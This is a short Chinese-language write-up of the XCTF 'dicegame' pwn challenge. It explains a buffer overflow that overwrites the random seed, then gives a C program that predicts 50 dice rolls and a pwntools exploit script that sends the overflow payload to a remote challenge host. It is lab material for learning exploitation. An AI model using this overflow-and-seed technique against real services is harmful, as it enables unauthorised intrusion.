攻防世界-dicegame writeup"/>
xctf 攻防世界-dicegame writeup
比较容易发现可以对buf进行缓冲区溢出,继续往下看
可以发现获得flag的条件是循环50次,50次输入的v1值与随机数v2 都相等
根据前面发现的缓冲区溢出可以发现我们可以覆盖掉seed种子值
那么种子值可以被我们随意设置为一个任意值,我把它设置为0,有了种子值可以写一个c程序把50次产生的随机数都求出来
有了随机数便可以编写exp了
C程序:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char *argv[]){srand(0);for(int i = 0;i < 50;i++){printf("%ld", (long)rand()%6+1);}return 0;
}
/*output:
25426251423232651155634433322261116425254446323361
*/
exp:
from pwn import *context.log_level = 'debug'
c = remote("111.198.29.45", 57514)payload = 'a'*0x40 + p64(0)c.recvuntil("Welcome, let me know your name: ")
c.send(payload)numbers = "25426251423232651155634433322261116425254446323361"def answer():for j in range(50):c.sendlineafter("Give me the point(1~6): ",numbers[j])answer()
c.interactive()
catch flag
更多推荐
xctf 攻防世界-dicegame writeup
发布评论